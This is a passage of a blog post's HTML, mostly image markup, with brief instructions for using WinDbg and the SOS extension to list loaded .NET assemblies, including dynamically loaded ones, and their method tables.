data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge2_he77DQ_4YFPMuL9Hr16h6sNzqe9JFkqS7BqCDfINZBgzIBaVwXEDN7Lnx0ymxtsJPPQIccWXIqRyB6IygOzs-JOjYOXalAL7Un5yx0q0D86R_GB5DOjS3D3MBNYJ3GmIXyktPtCU0/s400/dynamic_assemblies_in_memory.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:278,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge2_he77DQ_4YFPMuL9Hr16h6sNzqe9JFkqS7BqCDfINZBgzIBaVwXEDN7Lnx0ymxtsJPPQIccWXIqRyB6IygOzs-JOjYOXalAL7Un5yx0q0D86R_GB5DOjS3D3MBNYJ3GmIXyktPtCU0/s400/dynamic_assemblies_in_memory.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge2_he77DQ_4YFPMuL9Hr16h6sNzqe9JFkqS7BqCDfINZBgzIBaVwXEDN7Lnx0ymxtsJPPQIccWXIqRyB6IygOzs-JOjYOXalAL7Un5yx0q0D86R_GB5DOjS3D3MBNYJ3GmIXyktPtCU0/s400/dynamic_assemblies_in_memory.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge2_he77DQ_4YFPMuL9Hr16h6sNzqe9JFkqS7BqCDfINZBgzIBaVwXEDN7Lnx0ymxtsJPPQIccWXIqRyB6IygOzs-JOjYOXalAL7Un5yx0q0D86R_GB5DOjS3D3MBNYJ3GmIXyktPtCU0/s400/dynamic_assemblies_in_memory.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge2_he77DQ_4YFPMuL9Hr16h6sNzqe9JFkqS7BqCDfINZBgzIBaVwXEDN7Lnx0ymxtsJPPQIccWXIqRyB6IygOzs-JOjYOXalAL7Un5yx0q0D86R_GB5DOjS3D3MBNYJ3GmIXyktPtCU0/s400/dynamic_assemblies_in_memory.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><h4>1.1.3. Reaching dynamic assemblies' code in memory with Windbg</h4><p> Windbg makes easier to walk assemblies and parse .Net structures. It is necesary to load <a href="https://docs.microsoft.com/en-us/dotnet/framework/tools/sos-dll-sos-debugging-extension">sos debugging extension</a>.</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA1LE_wnl1tC32iZpDMqwanIDRYf_rlGfJ5S3AJCU6Joqvwj9ktpbRTmnzQJeRYWgick_FI1zyEEaqiwCxDWzRprEPgrU_KnJvRkTbp0rVDDPrZAo46VuopHuBwF_IhDykv9b5G1SOgJY/s1600/loadby_sos.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA1LE_wnl1tC32iZpDMqwanIDRYf_rlGfJ5S3AJCU6Joqvwj9ktpbRTmnzQJeRYWgick_FI1zyEEaqiwCxDWzRprEPgrU_KnJvRkTbp0rVDDPrZAo46VuopHuBwF_IhDykv9b5G1SOgJY/s1600/loadby_sos.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA1LE_wnl1tC32iZpDMqwanIDRYf_rlGfJ5S3AJCU6Joqvwj9ktpbRTmnzQJeRYWgick_FI1zyEEaqiwCxDWzRprEPgrU_KnJvRkTbp0rVDDPrZAo46VuopHuBwF_IhDykv9b5G1SOgJY/s1600/loadby_sos.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA1LE_wnl1tC32iZpDMqwanIDRYf_rlGfJ5S3AJCU6Joqvwj9ktpbRTmnzQJeRYWgick_FI1zyEEaqiwCxDWzRprEPgrU_KnJvRkTbp0rVDDPrZAo46VuopHuBwF_IhDykv9b5G1SOgJY/s1600/loadby_sos.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA1LE_wnl1tC32iZpDMqwanIDRYf_rlGfJ5S3AJCU6Joqvwj9ktpbRTmnzQJeRYWgick_FI1zyEEaqiwCxDWzRprEPgrU_KnJvRkTbp0rVDDPrZAo46VuopHuBwF_IhDykv9b5G1SOgJY/s1600/loadby_sos.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA1LE_wnl1tC32iZpDMqwanIDRYf_rlGfJ5S3AJCU6Joqvwj9ktpbRTmnzQJeRYWgick_FI1zyEEaqiwCxDWzRprEPgrU_KnJvRkTbp0rVDDPrZAo46VuopHuBwF_IhDykv9b5G1SOgJY/s1600/loadby_sos.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA1LE_wnl1tC32iZpDMqwanIDRYf_rlGfJ5S3AJCU6Joqvwj9ktpbRTmnzQJeRYWgick_FI1zyEEaqiwCxDWzRprEPgrU_KnJvRkTbp0rVDDPrZAo46VuopHuBwF_IhDykv9b5G1SOgJY/s1600/loadby_sos.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA1LE_wnl1tC32iZpDMqwanIDRYf_rlGfJ5S3AJCU6Joqvwj9ktpbRTmnzQJeRYWgick_FI1zyEEaqiwCxDWzRprEPgrU_KnJvRkTbp0rVDDPrZAo46VuopHuBwF_IhDykv9b5G1SOgJY/s1600/loadby_sos.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA1LE_wnl1tC32iZpDMqwanIDRYf_rlGfJ5S3AJCU6Joqvwj9ktpbRTmnzQJeRYWgick_FI1zyEEaqiwCxDWzRprEPgrU_KnJvRkTbp0rVDDPrZAo46VuopHuBwF_IhDykv9b5G1SOgJY/s1600/loadby_sos.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA1LE_wnl1tC32iZpDMqwanIDRYf_rlGfJ5S3AJCU6Joqvwj9ktpbRTmnzQJeRYWgick_FI1zyEEaqiwCxDWzRprEPgrU_KnJvRkTbp0rVDDPrZAo46VuopHuBwF_IhDykv9b5G1SOgJY/s1600/loadby_sos.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA1LE_wnl1tC32iZpDMqwanIDRYf_rlGfJ5S3AJCU6Joqvwj9ktpbRTmnzQJeRYWgick_FI1zyEEaqiwCxDWzRprEPgrU_KnJvRkTbp0rVDDPrZAo46VuopHuBwF_IhDykv9b5G1SOgJY/s1600/loadby_sos.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>1.1.3.1. List assemblies</p><p> Now it is possible to use the command !DumpDomain to display the loaded assemblies (from Microsoft documentation: DumpDomain enumerates each Assembly object that is loaded within the specified AppDomain object address. When called with no parameters, the DumpDomain command lists all AppDomain objects in a process).</p><p> The command shows domain info:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaj88UcGkarIsa-1PyvgLtarld_QCKE4z4JQyh68p_vTHS-8T9MJdCXgF3Y4M0kBJ03lgpezKfzOX89WPWG6FcYCMhy8VnC7eZR7Kewn9RY8o7QkCBl4qMkCfCNvK2kgDVMSygAgyFOf4/s400/dumpdomain1.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaj88UcGkarIsa-1PyvgLtarld_QCKE4z4JQyh68p_vTHS-8T9MJdCXgF3Y4M0kBJ03lgpezKfzOX89WPWG6FcYCMhy8VnC7eZR7Kewn9RY8o7QkCBl4qMkCfCNvK2kgDVMSygAgyFOf4/s400/dumpdomain1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaj88UcGkarIsa-1PyvgLtarld_QCKE4z4JQyh68p_vTHS-8T9MJdCXgF3Y4M0kBJ03lgpezKfzOX89WPWG6FcYCMhy8VnC7eZR7Kewn9RY8o7QkCBl4qMkCfCNvK2kgDVMSygAgyFOf4/s400/dumpdomain1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaj88UcGkarIsa-1PyvgLtarld_QCKE4z4JQyh68p_vTHS-8T9MJdCXgF3Y4M0kBJ03lgpezKfzOX89WPWG6FcYCMhy8VnC7eZR7Kewn9RY8o7QkCBl4qMkCfCNvK2kgDVMSygAgyFOf4/s400/dumpdomain1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaj88UcGkarIsa-1PyvgLtarld_QCKE4z4JQyh68p_vTHS-8T9MJdCXgF3Y4M0kBJ03lgpezKfzOX89WPWG6FcYCMhy8VnC7eZR7Kewn9RY8o7QkCBl4qMkCfCNvK2kgDVMSygAgyFOf4/s400/dumpdomain1.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaj88UcGkarIsa-1PyvgLtarld_QCKE4z4JQyh68p_vTHS-8T9MJdCXgF3Y4M0kBJ03lgpezKfzOX89WPWG6FcYCMhy8VnC7eZR7Kewn9RY8o7QkCBl4qMkCfCNvK2kgDVMSygAgyFOf4/s400/dumpdomain1.png" width="400" height="235" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaj88UcGkarIsa-1PyvgLtarld_QCKE4z4JQyh68p_vTHS-8T9MJdCXgF3Y4M0kBJ03lgpezKfzOX89WPWG6FcYCMhy8VnC7eZR7Kewn9RY8o7QkCBl4qMkCfCNvK2kgDVMSygAgyFOf4/s400/dumpdomain1.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:235,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaj88UcGkarIsa-1PyvgLtarld_QCKE4z4JQyh68p_vTHS-8T9MJdCXgF3Y4M0kBJ03lgpezKfzOX89WPWG6FcYCMhy8VnC7eZR7Kewn9RY8o7QkCBl4qMkCfCNvK2kgDVMSygAgyFOf4/s400/dumpdomain1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaj88UcGkarIsa-1PyvgLtarld_QCKE4z4JQyh68p_vTHS-8T9MJdCXgF3Y4M0kBJ03lgpezKfzOX89WPWG6FcYCMhy8VnC7eZR7Kewn9RY8o7QkCBl4qMkCfCNvK2kgDVMSygAgyFOf4/s400/dumpdomain1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaj88UcGkarIsa-1PyvgLtarld_QCKE4z4JQyh68p_vTHS-8T9MJdCXgF3Y4M0kBJ03lgpezKfzOX89WPWG6FcYCMhy8VnC7eZR7Kewn9RY8o7QkCBl4qMkCfCNvK2kgDVMSygAgyFOf4/s400/dumpdomain1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaj88UcGkarIsa-1PyvgLtarld_QCKE4z4JQyh68p_vTHS-8T9MJdCXgF3Y4M0kBJ03lgpezKfzOX89WPWG6FcYCMhy8VnC7eZR7Kewn9RY8o7QkCBl4qMkCfCNvK2kgDVMSygAgyFOf4/s400/dumpdomain1.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>And the list of assemblies:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhckqUm83HlV53VwZNeT7VY9eNR9xPUmi61Dg2b_-pEND-oIZPGP-7eX0GtaNDxm0v8Ti5Sw53nr8cGcwJsO92I4l_rQego58oUFkF7fe_nm8YWnU74I-hUVWLXN24y3Wn5zASngSjRTT4/s400/dumpdomain2.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhckqUm83HlV53VwZNeT7VY9eNR9xPUmi61Dg2b_-pEND-oIZPGP-7eX0GtaNDxm0v8Ti5Sw53nr8cGcwJsO92I4l_rQego58oUFkF7fe_nm8YWnU74I-hUVWLXN24y3Wn5zASngSjRTT4/s400/dumpdomain2.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhckqUm83HlV53VwZNeT7VY9eNR9xPUmi61Dg2b_-pEND-oIZPGP-7eX0GtaNDxm0v8Ti5Sw53nr8cGcwJsO92I4l_rQego58oUFkF7fe_nm8YWnU74I-hUVWLXN24y3Wn5zASngSjRTT4/s400/dumpdomain2.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhckqUm83HlV53VwZNeT7VY9eNR9xPUmi61Dg2b_-pEND-oIZPGP-7eX0GtaNDxm0v8Ti5Sw53nr8cGcwJsO92I4l_rQego58oUFkF7fe_nm8YWnU74I-hUVWLXN24y3Wn5zASngSjRTT4/s400/dumpdomain2.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhckqUm83HlV53VwZNeT7VY9eNR9xPUmi61Dg2b_-pEND-oIZPGP-7eX0GtaNDxm0v8Ti5Sw53nr8cGcwJsO92I4l_rQego58oUFkF7fe_nm8YWnU74I-hUVWLXN24y3Wn5zASngSjRTT4/s400/dumpdomain2.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhckqUm83HlV53VwZNeT7VY9eNR9xPUmi61Dg2b_-pEND-oIZPGP-7eX0GtaNDxm0v8Ti5Sw53nr8cGcwJsO92I4l_rQego58oUFkF7fe_nm8YWnU74I-hUVWLXN24y3Wn5zASngSjRTT4/s400/dumpdomain2.png" width="400" height="210" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhckqUm83HlV53VwZNeT7VY9eNR9xPUmi61Dg2b_-pEND-oIZPGP-7eX0GtaNDxm0v8Ti5Sw53nr8cGcwJsO92I4l_rQego58oUFkF7fe_nm8YWnU74I-hUVWLXN24y3Wn5zASngSjRTT4/s400/dumpdomain2.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:210,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhckqUm83HlV53VwZNeT7VY9eNR9xPUmi61Dg2b_-pEND-oIZPGP-7eX0GtaNDxm0v8Ti5Sw53nr8cGcwJsO92I4l_rQego58oUFkF7fe_nm8YWnU74I-hUVWLXN24y3Wn5zASngSjRTT4/s400/dumpdomain2.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhckqUm83HlV53VwZNeT7VY9eNR9xPUmi61Dg2b_-pEND-oIZPGP-7eX0GtaNDxm0v8Ti5Sw53nr8cGcwJsO92I4l_rQego58oUFkF7fe_nm8YWnU74I-hUVWLXN24y3Wn5zASngSjRTT4/s400/dumpdomain2.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhckqUm83HlV53VwZNeT7VY9eNR9xPUmi61Dg2b_-pEND-oIZPGP-7eX0GtaNDxm0v8Ti5Sw53nr8cGcwJsO92I4l_rQego58oUFkF7fe_nm8YWnU74I-hUVWLXN24y3Wn5zASngSjRTT4/s400/dumpdomain2.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhckqUm83HlV53VwZNeT7VY9eNR9xPUmi61Dg2b_-pEND-oIZPGP-7eX0GtaNDxm0v8Ti5Sw53nr8cGcwJsO92I4l_rQego58oUFkF7fe_nm8YWnU74I-hUVWLXN24y3Wn5zASngSjRTT4/s400/dumpdomain2.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>Among the list of assemblies we can find the assemblies that were loaded dynamically:</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbPUNuEPVq5sIFiUC-nAD73Los-1HPoCB6PCyLt67Ylt2NpIgLb-bJV2kA9perTYciEsj2nTSIN0ezV2KfCm7sd_g20adfbiiEXnu9Zqv8kKkGKowsd_Ha1CLC-lgNY_CrBX48mRmvAaA/s400/dumpdomain3_dynamic_assemblies.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbPUNuEPVq5sIFiUC-nAD73Los-1HPoCB6PCyLt67Ylt2NpIgLb-bJV2kA9perTYciEsj2nTSIN0ezV2KfCm7sd_g20adfbiiEXnu9Zqv8kKkGKowsd_Ha1CLC-lgNY_CrBX48mRmvAaA/s400/dumpdomain3_dynamic_assemblies.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbPUNuEPVq5sIFiUC-nAD73Los-1HPoCB6PCyLt67Ylt2NpIgLb-bJV2kA9perTYciEsj2nTSIN0ezV2KfCm7sd_g20adfbiiEXnu9Zqv8kKkGKowsd_Ha1CLC-lgNY_CrBX48mRmvAaA/s400/dumpdomain3_dynamic_assemblies.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbPUNuEPVq5sIFiUC-nAD73Los-1HPoCB6PCyLt67Ylt2NpIgLb-bJV2kA9perTYciEsj2nTSIN0ezV2KfCm7sd_g20adfbiiEXnu9Zqv8kKkGKowsd_Ha1CLC-lgNY_CrBX48mRmvAaA/s400/dumpdomain3_dynamic_assemblies.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbPUNuEPVq5sIFiUC-nAD73Los-1HPoCB6PCyLt67Ylt2NpIgLb-bJV2kA9perTYciEsj2nTSIN0ezV2KfCm7sd_g20adfbiiEXnu9Zqv8kKkGKowsd_Ha1CLC-lgNY_CrBX48mRmvAaA/s400/dumpdomain3_dynamic_assemblies.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbPUNuEPVq5sIFiUC-nAD73Los-1HPoCB6PCyLt67Ylt2NpIgLb-bJV2kA9perTYciEsj2nTSIN0ezV2KfCm7sd_g20adfbiiEXnu9Zqv8kKkGKowsd_Ha1CLC-lgNY_CrBX48mRmvAaA/s400/dumpdomain3_dynamic_assemblies.png" width="255" height="400" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbPUNuEPVq5sIFiUC-nAD73Los-1HPoCB6PCyLt67Ylt2NpIgLb-bJV2kA9perTYciEsj2nTSIN0ezV2KfCm7sd_g20adfbiiEXnu9Zqv8kKkGKowsd_Ha1CLC-lgNY_CrBX48mRmvAaA/s400/dumpdomain3_dynamic_assemblies.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:400,&quot;width&quot;:255,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbPUNuEPVq5sIFiUC-nAD73Los-1HPoCB6PCyLt67Ylt2NpIgLb-bJV2kA9perTYciEsj2nTSIN0ezV2KfCm7sd_g20adfbiiEXnu9Zqv8kKkGKowsd_Ha1CLC-lgNY_CrBX48mRmvAaA/s400/dumpdomain3_dynamic_assemblies.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbPUNuEPVq5sIFiUC-nAD73Los-1HPoCB6PCyLt67Ylt2NpIgLb-bJV2kA9perTYciEsj2nTSIN0ezV2KfCm7sd_g20adfbiiEXnu9Zqv8kKkGKowsd_Ha1CLC-lgNY_CrBX48mRmvAaA/s400/dumpdomain3_dynamic_assemblies.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbPUNuEPVq5sIFiUC-nAD73Los-1HPoCB6PCyLt67Ylt2NpIgLb-bJV2kA9perTYciEsj2nTSIN0ezV2KfCm7sd_g20adfbiiEXnu9Zqv8kKkGKowsd_Ha1CLC-lgNY_CrBX48mRmvAaA/s400/dumpdomain3_dynamic_assemblies.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbPUNuEPVq5sIFiUC-nAD73Los-1HPoCB6PCyLt67Ylt2NpIgLb-bJV2kA9perTYciEsj2nTSIN0ezV2KfCm7sd_g20adfbiiEXnu9Zqv8kKkGKowsd_Ha1CLC-lgNY_CrBX48mRmvAaA/s400/dumpdomain3_dynamic_assemblies.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p>1.1.3.2. List method tables</p><p>Having an assembly, it is possible to get info about it and list the method tables.<br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtngMzf_heo4vCfndEky4KgmWegM-E-jZDADkxYTB_gthaVC6cEQ5JLltWlCuZ6H1vQ1YcWp9jCgyx0Ek9GVaMJZjk5x9DhhDR0kE_997KjMAAf2p5bmh-E7fj-sM8rNbqzBVIqOP-kqo/s1600/dump_module.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtngMzf_heo4vCfndEky4KgmWegM-E-jZDADkxYTB_gthaVC6cEQ5JLltWlCuZ6H1vQ1YcWp9jCgyx0Ek9GVaMJZjk5x9DhhDR0kE_997KjMAAf2p5bmh-E7fj-sM8rNbqzBVIqOP-kqo/s1600/dump_module.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtngMzf_heo4vCfndEky4KgmWegM-E-jZDADkxYTB_gthaVC6cEQ5JLltWlCuZ6H1vQ1YcWp9jCgyx0Ek9GVaMJZjk5x9DhhDR0kE_997KjMAAf2p5bmh-E7fj-sM8rNbqzBVIqOP-kqo/s1600/dump_module.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtngMzf_heo4vCfndEky4KgmWegM-E-jZDADkxYTB_gthaVC6cEQ5JLltWlCuZ6H1vQ1YcWp9jCgyx0Ek9GVaMJZjk5x9DhhDR0kE_997KjMAAf2p5bmh-E7fj-sM8rNbqzBVIqOP-kqo/s1600/dump_module.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtngMzf_heo4vCfndEky4KgmWegM-E-jZDADkxYTB_gthaVC6cEQ5JLltWlCuZ6H1vQ1YcWp9jCgyx0Ek9GVaMJZjk5x9DhhDR0kE_997KjMAAf2p5bmh-E7fj-sM8rNbqzBVIqOP-kqo/s1600/dump_module.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtngMzf_heo4vCfndEky4KgmWegM-E-jZDADkxYTB_gthaVC6cEQ5JLltWlCuZ6H1vQ1YcWp9jCgyx0Ek9GVaMJZjk5x9DhhDR0kE_997KjMAAf2p5bmh-E7fj-sM8rNbqzBVIqOP-kqo/s1600/dump_module.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtngMzf_heo4vCfndEky4KgmWegM-E-jZDADkxYTB_gthaVC6cEQ5JLltWlCuZ6H1vQ1YcWp9jCgyx0Ek9GVaMJZjk5x9DhhDR0kE_997KjMAAf2p5bmh-E7fj-sM8rNbqzBVIqOP-kqo/s1600/dump_module.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtngMzf_heo4vCfndEky4KgmWegM-E-jZDADkxYTB_gthaVC6cEQ5JLltWlCuZ6H1vQ1YcWp9jCgyx0Ek9GVaMJZjk5x9DhhDR0kE_997KjMAAf2p5bmh-E7fj-sM8rNbqzBVIqOP-kqo/s1600/dump_module.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtngMzf_heo4vCfndEky4KgmWegM-E-jZDADkxYTB_gthaVC6cEQ5JLltWlCuZ6H1vQ1YcWp9jCgyx0Ek9GVaMJZjk5x9DhhDR0kE_997KjMAAf2p5bmh-E7fj-sM8rNbqzBVIqOP-kqo/s1600/dump_module.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtngMzf_heo4vCfndEky4KgmWegM-E-jZDADkxYTB_gthaVC6cEQ5JLltWlCuZ6H1vQ1YcWp9jCgyx0Ek9GVaMJZjk5x9DhhDR0kE_997KjMAAf2p5bmh-E7fj-sM8rNbqzBVIqOP-kqo/s1600/dump_module.png 1272w, 